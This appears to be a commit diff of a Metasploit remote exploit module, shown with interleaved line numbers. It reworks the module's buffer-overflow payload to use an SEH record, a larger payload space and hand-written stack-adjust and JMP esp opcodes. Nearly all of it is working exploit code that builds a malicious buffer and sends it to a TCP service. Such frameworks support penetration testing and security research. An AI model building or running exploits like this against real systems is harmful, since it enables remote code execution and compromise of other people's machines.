@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
Rank = GreatRanking
8
8
9
9
include Msf ::Exploit ::Remote ::Tcp
10
+ include Msf ::Exploit ::Remote ::Seh
10
11
11
12
def initialize ( info = { } )
12
13
super ( update_info ( info ,
@@ -30,7 +31,7 @@ def initialize(info = {})
30
31
'Payload' =>
31
32
{
32
33
'BadChars' => "\x00 \x02 \x0a \x0d \xf8 " ,
33
- 'Space' => 355
34
+ 'Space' => 800
34
35
} ,
35
36
'Targets' =>
36
37
[
@@ -50,16 +51,16 @@ def initialize(info = {})
50
51
end
51
52
52
53
def exploit
54
+ seh = generate_seh_record ( target . ret )
53
55
connect
54
56
55
57
buffer = make_nops ( target [ 'Offset' ] )
56
- buffer << "\x90 \x09 \xEB \x05 "
57
- buffer << [ target . ret ] . pack ( 'V' )
58
- buffer << make_nops ( 10 )
59
- buffer << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , "add esp,100" ) . encode_string * 20
60
- buffer << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , "jmp esp" ) . encode_string
61
- buffer << make_nops ( 441 )
58
+ buffer << seh
59
+ buffer << "\x83 \xc4 \x7f " * 13 #ADD esp,7fh
60
+ buffer << "\x83 \xc4 \x21 " #ADD esp,21h
61
+ buffer << "\xff \xe4 " #JMP esp
62
62
buffer << payload . encoded
63
+ buffer << Rex ::Text . rand_text_alphanumeric ( 1 )
63
64
64
65
header = "\x75 \x19 \xba \xab "
65
66
header << "\x03 \x00 \x00 \x00 "
0 commit comments